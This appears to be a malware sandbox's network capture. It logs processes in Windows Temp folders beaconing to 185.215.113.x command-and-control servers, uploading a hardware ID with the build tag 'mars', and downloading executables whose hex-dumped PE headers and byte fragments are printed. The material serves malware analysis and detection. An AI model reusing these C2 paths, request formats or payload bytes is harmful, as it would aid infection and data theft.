6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 0f a1 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"i@i@M$a$ $b@.rsrc $r@.idata $r@ *$t@orugtaroOv@zsibqgqpi\|@.taggant0i"@
Nov 11, 2024 19:53:13.331459999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:13.331475973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:13.331485033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:13.331504107 CET	1236	IN	Data Raw: e3 56 55 bd 39 71 a8 34 f1 8d cc 3f 7e ee af 46 e4 e7 d6 d7 b9 54 f1 93 d9 f5 8b d2 95 56 a1 6a c9 36 6a 32 6f 51 7c d1 2e d7 0b ad de f2 61 ca 11 00 d1 42 d9 e9 ed 8b d0 b6 d7 d6 7e e6 5d 81 51 ab f5 70 69 3f 99 0b 3c 59 64 d7 57 80 b9 ef d1 be Data Ascii: VU9q4?~FTVj6j2oQ\|.aB~]Qpi?<YdWK}SS_\|gE~IL?#j%jlzSVNcV:%)~Z;hfP:SSZ179'DXg5i^5Sv~nWUw$jqS/Yc\|V
Nov 11, 2024 19:53:13.331520081 CET	1060	IN	Data Raw: df 5d 62 91 38 ee b7 89 b7 39 f4 be a2 d1 7c d9 e2 c4 95 41 f8 4e 90 1e b9 b3 d9 db 0f c5 11 ef 47 c3 ff 3d 2f a2 66 8c a4 14 d7 d6 90 e4 43 ec 92 91 18 3f 78 d4 11 f7 74 59 a8 59 4f fc 5a 01 aa 5f 97 90 dd 5d 73 aa 90 42 58 f6 d7 62 e1 a0 98 fb Data Ascii: ]b89\|ANG=/fC?xtYYOZ_]sBXbp6a{cVp\|mA+:K7xN&-eNlVFk b{1MI{lKa^BX`92}_-;lWMaSf0w{
Nov 11, 2024 19:53:13.331535101 CET	1236	IN	Data Raw: 16 e8 21 0e 5c ee 08 30 75 83 31 e2 d0 14 83 93 56 68 9e f7 1d 37 69 2d 10 5e 15 53 d6 90 80 99 c5 66 d7 91 90 69 30 b4 3c 31 25 e1 29 c4 fd c1 d2 08 d5 9f 9f a3 91 a8 5c 17 12 01 d9 20 09 4a d1 d6 9a 87 19 16 bb c4 97 44 67 5e d4 51 b0 41 8f c9 Data Ascii: !\0u1Vh7i-^Sfi0<1%)\ JDg^QAh&n/ZOhVBZd_W6&Vsx(r}\#)$Nf^Uq/vrQEY&ui$U9{n5Y7U5@
Nov 11, 2024 19:53:13.331549883 CET	1236	IN	Data Raw: 9d 82 c7 ff ef d2 0b b7 e1 e8 0b c2 bd c0 a7 6b 9f 20 7b 29 51 2d 12 33 55 5e 81 a9 d4 b9 c5 4f ef 52 19 0b 58 76 f2 bf 63 94 65 c1 f5 fc 0b ab a6 fd 50 c0 b3 94 c7 c1 91 28 7a a3 5c 43 7d 2f 55 0e bd db ef 62 7f b1 7c ae 0b ef ee 7d 15 fd f4 46 Data Ascii: k {)Q-3U^ORXvceP(z\C}/Ub\|}F@U]4L1Mc"-aw5b\|Wp(zy"nNa#&(Wen12""\@,D:r[(RnQ{+(Hc(:%$Rc
Nov 11, 2024 19:53:13.331564903 CET	1236	IN	Data Raw: f4 04 12 df e2 25 66 b7 11 76 e7 ad aa 82 00 ef e3 36 bd 43 ef 3a 18 ed f1 d8 b7 63 3e 34 ea b0 83 b8 0b fb a0 c6 0b a7 55 24 5e 69 94 9e 00 70 87 e0 c7 c2 a1 32 3e b9 f8 77 bc b7 a9 76 61 ae 5d fc 0b 52 94 f0 b1 6f c1 c2 15 c1 a6 1c 49 3e c9 28 Data Ascii: %fv6C:c>4U$^ip2>wva]RoI>(c67znN/k1V9R^[.v1i`ro'('U5nnQy}:1${vYa5}j"zY!Yia$^E\|
Nov 11, 2024 19:53:13.331576109 CET	1236	IN	Data Raw: 09 ee 79 ba 65 82 a7 07 58 b9 91 c2 2d 50 76 f1 e4 9e 0e c1 75 34 da 5b d5 d4 a5 4f 55 35 32 ae 6e 06 81 b5 b5 a2 0b a1 89 25 42 be 85 95 a8 75 ff 4e 41 b1 25 f6 45 41 c0 c6 18 89 ce d5 63 e2 e3 de c1 b1 51 79 c7 c1 be 77 d0 c1 ff be d9 a0 58 0e Data Ascii: yeX-Pvu4[OU52n%BuNA%EAcQywXV5G%B\|UuQUW^%;N{\|UF3y(S"5>/2:T$j5.iD2$X5S1vxk(QyWY}}
Nov 11, 2024 19:53:13.336534023 CET	1236	IN	Data Raw: e3 6e ec cd 9c 1b 53 ca 62 d8 39 65 72 a5 52 d2 c3 6c 80 3f db 32 ae e4 4a 82 72 fa 71 c6 ae 7e f0 f4 c5 3f 07 35 b4 f9 56 c8 60 65 8f fa a5 6b 09 f2 a6 ed 28 e2 0a 8f 5d af 9b 82 e5 0e 75 63 0f 6d 91 9c 17 b8 49 43 71 34 bd 42 e9 9b c4 7c d0 71 Data Ascii: nSb9erRl?2Jrq~?5V`ek(]ucmICq4B\|q^/>Q*m"xzv$.Jb>5EyLiORkIOAA(>yNq>h]W.gJ-J&quk\I9A3~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50128	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:16.304500103 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005597001&unit=246122658369
Nov 11, 2024 19:53:16.921875954 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50130	185.215.113.16	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:17.122328997 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 11 Nov 2024 18:42:12 GMT If-None-Match: "67325004-1ba200"
Nov 11, 2024 19:53:17.766911030 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:17 GMT Last-Modified: Mon, 11 Nov 2024 18:42:12 GMT Connection: keep-alive ETag: "67325004-1ba200"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50131	185.215.113.206	80	9016	C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:17.256721020 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:53:17.929389000 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:53:17.932847023 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 2d 2d 0d 0a Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="build"mars------DHCGIDHDAKJECBFHCBAA--
Nov 11, 2024 19:53:18.135001898 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50135	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:19.530046940 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 39 38 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005598031&unit=246122658369
Nov 11, 2024 19:53:20.170979977 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50136	185.215.113.16	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:20.182981968 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 19:53:20.819690943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:20 GMT Content-Type: application/octet-stream Content-Length: 2825728 Last-Modified: Mon, 11 Nov 2024 17:51:07 GMT Connection: keep-alive ETag: "6732440b-2b1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 5a 35 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +Z5+`Ui` @ @.rsrc`2@.idata 8@nbohhauh*:@qsvzttvm `+@.taggant@+"*@
Nov 11, 2024 19:53:20.819837093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:20.819848061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:20.819864988 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:20.819874048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:20.819894075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:20.819907904 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:20.819917917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:20.819932938 CET	1236	IN	Data Raw: ac 70 ff 64 74 68 fa 64 be b2 e6 4d bc 61 f2 74 aa 66 df d6 b6 09 dd 19 b0 23 e3 42 cb 61 e1 43 49 a0 eb 17 6b 80 ce 00 ab 6c e4 66 88 d7 ef 49 64 72 8a 0e 90 d7 b9 30 92 00 fb a7 f6 8a 78 b5 88 74 de 67 89 6a e6 1d 8c 6b fd a3 ca 63 b6 39 98 75 Data Ascii: pdthdMatf#BaCIklfIdr0xtgjkc9uoNxo}t'H\hd=k,>o'b6oKH>NH`yky7xOzil:O8a'5@kL`k!=P+BvE![{\|n
Nov 11, 2024 19:53:20.819947958 CET	1236	IN	Data Raw: a3 89 53 65 2c 11 ca 71 de 05 e2 c1 01 f9 46 31 ff 6a 02 4f 8e 28 a3 79 bb 08 74 31 66 1a e4 74 30 cc ed 74 ec 09 aa 75 b6 86 c5 4d 38 19 bf 01 ec 29 c5 30 a7 39 e3 20 37 75 b4 29 fe 6c 04 e3 b2 d9 ca c0 2c 32 6c 3d b6 6c bc 74 23 e9 fe 69 17 cc Data Ascii: Se,qF1jO(yt1ft0tuM8)09 7u)l,2l=lt#itkA61I.y\|QdT-c#mJhmOAu/h2muzmO+9-.m?vmcX@2'7`<0/agmm24vwxO
Nov 11, 2024 19:53:20.824840069 CET	1236	IN	Data Raw: bf 2b 8f d5 e3 d5 ed 78 30 6d 1c e0 e5 c0 1c a7 d0 77 1f 9f fa 43 a8 d9 8b 46 06 70 f4 88 04 73 fe 2d 0f 2c 50 db c5 19 fc d9 3f 58 b6 7e 7b 6f b6 30 07 dc d8 8f eb 3d e2 3f 34 4b e7 74 24 4d c3 d6 bf 5c 31 ef cb a8 cc 7e 38 d4 ee eb 0b 7b b2 21 Data Ascii: +x0mwCFps-,P?X~{o0=?4Kt$M\1~8{!j5nJUFnu:nu8$v5)JVD3IZo~^*({90v).L=(\|Tg}?+ H%>N},p1i#`u#$}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50146	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:23.957032919 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005599001&unit=246122658369
Nov 11, 2024 19:53:24.596332073 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50147	185.215.113.16	80	6308	C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:24.690371990 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 11, 2024 19:53:25.332154036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:25 GMT Content-Type: application/octet-stream Content-Length: 1810944 Last-Modified: Mon, 11 Nov 2024 18:42:12 GMT Connection: keep-alive ETag: "67325004-1ba200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 0f a1 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"i@i@M$a$ $b@.rsrc $r@.idata $r@ *$t@orugtaroOv@zsibqgqpi\|@.taggant0i"@
Nov 11, 2024 19:53:25.332189083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:25.332212925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:25.332226038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:25.332243919 CET	448	IN	Data Raw: e3 56 55 bd 39 71 a8 34 f1 8d cc 3f 7e ee af 46 e4 e7 d6 d7 b9 54 f1 93 d9 f5 8b d2 95 56 a1 6a c9 36 6a 32 6f 51 7c d1 2e d7 0b ad de f2 61 ca 11 00 d1 42 d9 e9 ed 8b d0 b6 d7 d6 7e e6 5d 81 51 ab f5 70 69 3f 99 0b 3c 59 64 d7 57 80 b9 ef d1 be Data Ascii: VU9q4?~FTVj6j2oQ\|.aB~]Qpi?<YdWK}SS_\|gE~IL?#j%jlzSVNcV:%)~Z;hfP:SSZ179'DXg5i^5Sv~nWUw$jqS/Yc\|V
Nov 11, 2024 19:53:25.332274914 CET	1236	IN	Data Raw: b2 fd 77 b7 e1 b6 07 f4 08 60 16 cb 36 f7 e1 5d d4 7d 84 d3 38 eb fc 70 94 5a 7f 04 54 d3 4e 2e c3 84 00 c6 51 34 76 b6 8e 7e d6 1c 04 d7 9e 36 3e 04 df cf df 1b 08 0e c4 46 47 be e7 c7 5c 42 58 32 87 62 d9 2f 86 b1 f9 73 b6 af db 79 85 d0 b3 ae Data Ascii: w`6]}8pZTN.Q4v~6>FG\BX2b/sy\$~!?ll*2-EVI>#Px9z0S}w&3;n`P0ScF .tC\|uW50rdDOnmF
Nov 11, 2024 19:53:25.332293987 CET	1236	IN	Data Raw: b2 7f 19 54 4f 2a d5 ed ad 7f 56 b4 07 83 a9 04 52 3d d4 61 c2 35 d8 8e 56 ae 51 05 6c 56 d7 f0 af ed 11 3b 7b 4f ed 68 33 f8 90 62 32 c4 fa 6d 5f 84 79 d7 dd fd d4 f7 d0 9a 45 8c d0 f5 be 71 5d 85 94 af 94 08 60 32 ae 85 11 43 55 41 fc 80 21 27 Data Ascii: TO*VR=a5VQlV;{Oh3b2m_yEq]`2CUA!'za:e2x.YM0va2Td"\|@_&G,F=T}{X)I;{WoS,1\|~a77N)yJZ76\|>'A&;S\|qpmsR+r
Nov 11, 2024 19:53:25.332417011 CET	1236	IN	Data Raw: 04 c2 d1 0f f7 60 0e 88 4e 35 b7 dd ef 48 06 af 85 fd f2 68 04 42 18 42 11 c4 a3 e2 8f 02 06 98 cd f2 7e c1 5d d9 1f 95 a3 14 c3 ae d4 02 1a ea e4 a9 f0 25 9f b8 e1 4c d3 5a ff aa c5 25 51 f6 e0 56 62 bc 73 36 7a bf e1 fa 7f b0 fc 66 39 6b 70 b6 Data Ascii: `N5HhBB~]%LZ%QVbs6zf9kpQt>}XML)ZgNHB}M}\{tf"5iH!(~c.BD%DyDxS1RU(n}5dsBp4&-.)=a{E$
Nov 11, 2024 19:53:25.332432032 CET	1236	IN	Data Raw: 85 2e aa 46 f8 28 12 2f 59 6a bc 7f d9 1a 6d a9 a1 32 f2 bf e0 02 a0 c2 95 29 63 70 1e 31 15 e9 ea f8 21 93 69 f6 3c eb 39 b8 a7 ae 09 82 18 ab a3 32 c8 b5 57 ce 0b a3 b1 24 76 b2 5d f6 0f 6b 8f 76 a8 3b e1 da 79 e3 98 f9 75 17 d9 28 46 ae 61 25 Data Ascii: .F(/Yjm2)cp1!i<92W$v]kv;yu(Fa%uiwqJJ\|4wCc_U$lY;(zzN(2X($$qY%"$*z]vOPiy1pMk<n(
Nov 11, 2024 19:53:25.332448959 CET	1236	IN	Data Raw: 8f 7e 80 c3 9a e8 a7 c1 08 34 fd bc 6d 1f b3 41 78 30 6a a1 e3 7a 11 73 5e 7d a6 7f 6c 9e 28 c0 81 f6 a9 a3 5b 31 86 3f f7 ee 41 c0 25 82 d1 47 a9 07 d6 ef 52 86 85 a1 49 16 16 a1 f6 65 01 70 fd d7 ad 41 07 89 15 6c 3f 7c a7 2f d9 99 ce c7 d9 28 Data Ascii: ~4mAx0jzs^}l([1?A%GRIepAl?\|/(UTy+9v6R2S6u}Wj)}3Mzu-rGiiMac)0(}!z88e4`s8,5Lun}uhvCA!2V
Nov 11, 2024 19:53:25.337924957 CET	1236	IN	Data Raw: ee 50 74 a1 c6 36 c9 eb 06 f3 cb 36 04 2e 32 4e ce 78 56 89 fe ff 4a ef c0 7b c2 2f ba ee 71 89 a4 ae 08 10 8d d5 7e ff a0 1f 81 86 4d 75 85 ae 4d 38 9e e3 06 d9 50 93 38 cd 80 f5 c2 8a 4b 6a d8 1b 47 08 f9 25 8b 53 d4 f1 fd 71 d6 5f 79 36 19 d3 Data Ascii: Pt66.2NxVJ{/q~MuM8P8KjG%Sq_y6W\|iN\|YnDwkd^ ;s& )c{Fy:a5ME:8"mN6O2B6:A),/'S96AZ \|6iME',~^\|&32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50150	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:26.231705904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
